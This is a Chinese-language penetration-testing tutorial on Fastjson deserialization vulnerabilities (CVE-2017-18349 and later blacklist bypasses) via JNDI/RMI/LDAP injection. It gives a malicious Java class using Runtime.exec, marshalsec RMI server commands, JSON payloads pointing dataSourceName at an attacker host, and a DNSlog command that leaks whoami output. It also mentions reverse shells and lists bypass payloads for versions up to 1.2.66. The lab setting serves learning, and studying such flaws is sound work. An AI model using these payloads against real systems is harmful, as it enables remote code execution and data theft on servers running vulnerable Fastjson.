1.FastJson 簡(jiǎn)介fastjson.jar包原始下載地址: https://github.com/alibaba/fastjson fastjson用于將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。fastjson.jar是阿里開(kāi)發(fā)的一款專門用于Java開(kāi)發(fā)的包,可以方便的實(shí)現(xiàn)json對(duì)象與JavaBean對(duì)象的轉(zhuǎn)換,實(shí)現(xiàn)JavaBean對(duì)象與json字符串的轉(zhuǎn)換,實(shí)現(xiàn)json對(duì)象與json字符串的轉(zhuǎn)換。除了這個(gè)fastjson以外,還有Google開(kāi)發(fā)的Gson包,其他形式的如net.sf.json包,都可以實(shí)現(xiàn)json的轉(zhuǎn)換。方法名稱不同而已,最后的實(shí)現(xiàn)結(jié)果都是一樣的。
1.1 JNDIJNDI是 Java 命名與目錄接口(Java Naming and Directory Interface),在J2EE規(guī)范中是重要的規(guī)范之一。JNDI提供統(tǒng)一的客戶端API,為開(kāi)發(fā)人員提供了查找和訪問(wèn)各種命名和目錄服務(wù)的通用、統(tǒng)一的接口,可以用來(lái)定位用戶、網(wǎng)絡(luò)、機(jī)器、對(duì)象和服務(wù)等各種資源。比如可以利用JNDI再局域網(wǎng)上定位一臺(tái)打印機(jī),也可以用JNDI來(lái)定位數(shù)據(jù)庫(kù)服務(wù)或一個(gè)遠(yuǎn)程Java對(duì)象。JNDI底層支持RMI遠(yuǎn)程對(duì)象,RMI注冊(cè)的服務(wù)可以通過(guò)JNDI接口來(lái)訪問(wèn)和調(diào)用。 JNDi是應(yīng)用程序設(shè)計(jì)的Api,JNDI可以根據(jù)名字動(dòng)態(tài)加載數(shù)據(jù),支持的服務(wù)主要有以下幾種:DNS、LDAP、CORBA對(duì)象服務(wù)、RMI 1.2 利用JNDI References進(jìn)行注入對(duì)于這個(gè)知識(shí)點(diǎn),我們需要先了解RMI的作用。 首先RMI(Remote Method Invocation)是專為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法。RMI依賴的通信協(xié)議為JRMP(Java Remote Message Protocol ,Java 遠(yuǎn)程消息交換協(xié)議),該協(xié)議為Java定制,要求服務(wù)端與客戶端都為Java編寫(xiě)。這個(gè)協(xié)議就像HTTP協(xié)議一樣,規(guī)定了客戶端和服務(wù)端通信要滿足的規(guī)范。在RMI中對(duì)象是通過(guò)序列化方式進(jìn)行編碼傳輸?shù)?。RMI服務(wù)端可以直接綁定遠(yuǎn)程調(diào)用的對(duì)象以外,還可通過(guò)References類來(lái)綁定一個(gè)外部的遠(yuǎn)程對(duì)象,當(dāng)RMI綁定了References之后,首先會(huì)利用Referenceable.getReference()獲取綁定對(duì)象的引用,并在目錄中保存,當(dāng)客戶端使用lookup獲取對(duì)應(yīng)名字時(shí),會(huì)返回ReferenceWrapper類的代理文件,然后會(huì)調(diào)用getReference()獲取Reference類,最終通過(guò)factory類將Reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。 服務(wù)端
從ReferenceWrapper源碼可以看出,該類繼承自UnicastRemoteObject,實(shí)現(xiàn)對(duì)Reference的包裹,使其能夠通過(guò)RMI進(jìn)行遠(yuǎn)程訪問(wèn)客戶端import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup('rmi://localhost:8000/refObj'); } catch (NamingException e) { e.printStackTrace(); } } } 如果我們可以控制JNDI客戶端中傳入的url,就可以起一個(gè)惡意的RMI,讓JNDI來(lái)加載我們的惡意類從而進(jìn)行命令執(zhí)行。我們來(lái)看一下References,References類有兩個(gè)屬性,className和codebase url,className就是遠(yuǎn)程引用的類名,codebase決定了我們遠(yuǎn)程類的位置,當(dāng)本地classpath中沒(méi)有找到對(duì)應(yīng)的類的時(shí)候,就會(huì)去請(qǐng)求codebase地址下的類(codebase支持http協(xié)議),此時(shí)如果我們將codebase地址下的類換成我們的惡意類,就能讓客戶端執(zhí)行。ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能夠從指定codebase中下載字節(jié)碼。整個(gè)利用流程如下
2.FastJson滲透總結(jié)1.反序列化常用的兩種利用方式,一種是基于rmi,一種是基于ldap。 2.RMI是一種行為,指的是Java遠(yuǎn)程方法調(diào)用。 3.JNDI是一個(gè)接口,在這個(gè)接口下會(huì)有多種目錄系統(tǒng)服務(wù)的實(shí)現(xiàn),通過(guò)名稱等去找到相關(guān)的對(duì)象,并把它下載到客戶端中來(lái)。 4.ldap指輕量級(jí)目錄服務(wù)協(xié)議。 存在Java版本限制:
2.1 fastjson 1.2.24反序列化導(dǎo)致任意命令執(zhí)行漏洞(CVE-2017-18349)漏洞原理 FastJson在解析json的過(guò)程中,支持使用autoType來(lái)實(shí)例化某一個(gè)具體的類,并調(diào)用該類的set/get方法來(lái)訪問(wèn)屬性。通過(guò)查找代碼中相關(guān)的方法,即可構(gòu)造出一些惡意利用鏈。 通俗理解就是:漏洞利用fastjson autotype在處理json對(duì)象的時(shí)候,未對(duì)@type字段進(jìn)行完全的安全性驗(yàn)證,攻擊者可以傳入危險(xiǎn)類,并調(diào)用危險(xiǎn)類連接遠(yuǎn)程rmi主機(jī),通過(guò)其中的惡意類執(zhí)行代碼。攻擊者通過(guò)這種方式可以實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行漏洞的利用,獲取服務(wù)器的敏感信息泄露,甚至可以利用此漏洞進(jìn)一步對(duì)服務(wù)器數(shù)據(jù)進(jìn)行修改,增加,刪除等操作,對(duì)服務(wù)器造成巨大影響。 影響版本Fastjson < 1.2.25 漏洞啟動(dòng)靶機(jī):Ubuntu ip:192.168.9.234 攻擊機(jī):kali ip:192.168.10.65 開(kāi)啟fastjson漏洞
訪問(wèn)靶機(jī),可以看見(jiàn)json格式的輸出: 因?yàn)槭荍ava 8u102,沒(méi)有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來(lái)執(zhí)行命令。 在kali上執(zhí)行下面這條命令,使用 curl命令模擬json格式的POST請(qǐng)求,返回json格式的請(qǐng)求結(jié)果,沒(méi)報(bào)404,正常情況下說(shuō)明存在該漏洞。curl http://192.168.9.234:8090/ -H 'Content-Type: application/json' --data ' {'name':'zcc', 'age':18}' kali安裝Javac環(huán)境,這里我已經(jīng)安裝好了
編譯惡意類代碼import java.lang.Runtime; import java.lang.Process; public class zcc{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {'touch', '/tmp/zcctest'}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
搭建http服務(wù)傳輸惡意文件 python -m SimpleHTTPServer 80 編譯并開(kāi)啟RMI服務(wù):>1 下載marshalsec(我這里已經(jīng)安裝好):
>2 然后安裝maven: apt-get install maven >3 然后使用maven編譯marshalsec成jar包,我們先進(jìn)入下載的marshalsec文件中運(yùn)行:
>4 然后我們借助marshalsec項(xiàng)目,啟動(dòng)一個(gè)RMI服務(wù)器,監(jiān)聽(tīng)9999端口,并制定遠(yuǎn)程加載類TouchFile.class,這里的ip為你上面開(kāi)啟http服務(wù)的ip,我們這里就是kali的ip:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://192.168. 10.65/#zcc' 9999 這里如果要啟動(dòng)LDAP服務(wù)的話,只需把上面命令中的RMI改成LDAP即可,例如:
可以看見(jiàn)請(qǐng)求成功,并加載了惡意類。 >5 使用BP抓包,并寫(xiě)入poc(記住請(qǐng)求包里面請(qǐng)求方式改成post,Content-Type改成application/json): { 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true } } 可以看見(jiàn)成功寫(xiě)入。 這里我們用dnslog做一個(gè)小測(cè)試:
直接覆蓋原來(lái)得文件; '/bin/sh','-c','ping user.'whoami'.jeejay.' 點(diǎn)擊send發(fā)送之后成功回顯 反彈shell的話也只需修改惡意類中commands的內(nèi)容即可,代碼參考如下,建議用第二個(gè),第二個(gè)前面帶主機(jī)名,看起來(lái)舒服點(diǎn),我這里用的第一個(gè);
2.2 Fastjson 1.2.47遠(yuǎn)程命令執(zhí)行漏洞漏洞原理 Fastjson是阿里巴巴公司開(kāi)源的一款json解析器,其性能優(yōu)越,被廣泛應(yīng)用于各大廠商的Java項(xiàng)目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構(gòu)造的json字符串繞過(guò)白名單檢測(cè),成功執(zhí)行任意命令。 影響版本Fastjson < 1.2.47 漏洞啟動(dòng) 因?yàn)槟繕?biāo)環(huán)境是openjdk:8u102,這個(gè)版本沒(méi)有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以利用RMI進(jìn)行命令執(zhí)行。
開(kāi)啟http服務(wù) python -m SimpleHTTPServer 8080 借助marshalsec項(xiàng)目啟動(dòng)RMI服務(wù)器,監(jiān)聽(tīng)9998端口,并制定加載遠(yuǎn)程類zcc.class:
發(fā)送payload,別忘了改Content-Type: application/json,可以看見(jiàn)成功寫(xiě)入,反彈shell的手段和上面1.2.24的一樣: { 'a':{ '@type':'java.lang.Class', 'val':'com.sun.rowset.JdbcRowSetImpl' }, 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true } } 反彈shell;
2.3 fastjson<=1.2.41漏洞詳情第一個(gè)Fastjson反序列化漏洞爆出后,阿里在1.2.25版本設(shè)置了autoTypeSupport屬性默認(rèn)為false,并且增加了checkAutoType()函數(shù),通過(guò)黑白名單的方式來(lái)防御Fastjson反序列化漏洞,因此后面發(fā)現(xiàn)的Fastjson反序列化漏洞都是針對(duì)黑名單繞過(guò)來(lái)實(shí)現(xiàn)攻擊利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名單,fastjson有個(gè)判斷條件判斷類名是否以'L'開(kāi)頭、以';'結(jié)尾,是的話就提取出其中的類名在加載進(jìn)來(lái),因此在原類名頭部加L,尾部加;即可繞過(guò)黑名單的同時(shí)加載類。 exp:{ '@type':'Lcom.sun.rowset.JdbcRowSetImpl;', 'dataSourceName':'rmi://x.x.x.x:9999/rce_1_2_24_exploit', 'autoCommit':true } autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false 2.4 fastjson<=1.2.42漏洞詳情 fastjson在1.2.42版本新增了校驗(yàn)機(jī)制。如果輸入類名的開(kāi)頭和結(jié)尾是L和;就將頭尾去掉再進(jìn)行黑名單校驗(yàn)。繞過(guò)方法:在類名外部嵌套兩層L和;。
exp:{ '@type':'LLcom.sun.rowset.JdbcRowSetImpl;;', 'dataSourceName':'rmi://x.x.x.x:9999/exp', 'autoCommit':true } autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false)2.5 fastjson<=1.2.45漏洞詳情 前提條件:目標(biāo)服務(wù)器存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。 使用黑名單繞過(guò),org.apache.ibatis.datasource在1.2.46版本被加入了黑名單。 autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false) exp:
2.6 fastjson<=1.2.47漏洞詳情對(duì)版本小于1.2.48的版本通殺,autoType為關(guān)閉狀態(tài)也可用。loadClass中默認(rèn)cache為true,利用分2步,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.jdbcRowSetlmpl這個(gè)類,繞過(guò)了黑名單機(jī)制。 exp:{ 'a': { '@type': 'java.lang.Class', 'val': 'com.sun.rowset.JdbcRowSetImpl' }, 'b': { '@type': 'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName': 'rmi://x.x.x.x:9999/exp', 'autoCommit': true } } 2.7 fastjson<=1.2.62漏洞詳情基于黑名單繞過(guò)exp:
2.8 fastjson<=1.2.66漏洞詳情也是基于黑名單繞過(guò),autoTypeSupport屬性為true才能使用,(fastjson>=1.2.25默認(rèn)為false)以下是幾個(gè)exp: {'@type':'org.apache.shiro.jndi.JndiObjectFactory','resourceName':'ldap://192.168.80.1:1389/Calc'} {'@type':'br.com.anteros.dbcp.AnterosDBCPConfig','metricRegistry':'ldap://192.168.80.1:1389/Calc'} {'@type':'org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup','jndiNames':'ldap://192.168.80.1:1389/Calc'} {'@type':'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig','properties': {'@type':'java.util.Properties','UserTransacti on':'ldap://192.168.80.1:1389/Calc'}} |
|
來(lái)自: 新用戶36657816 > 《待分類》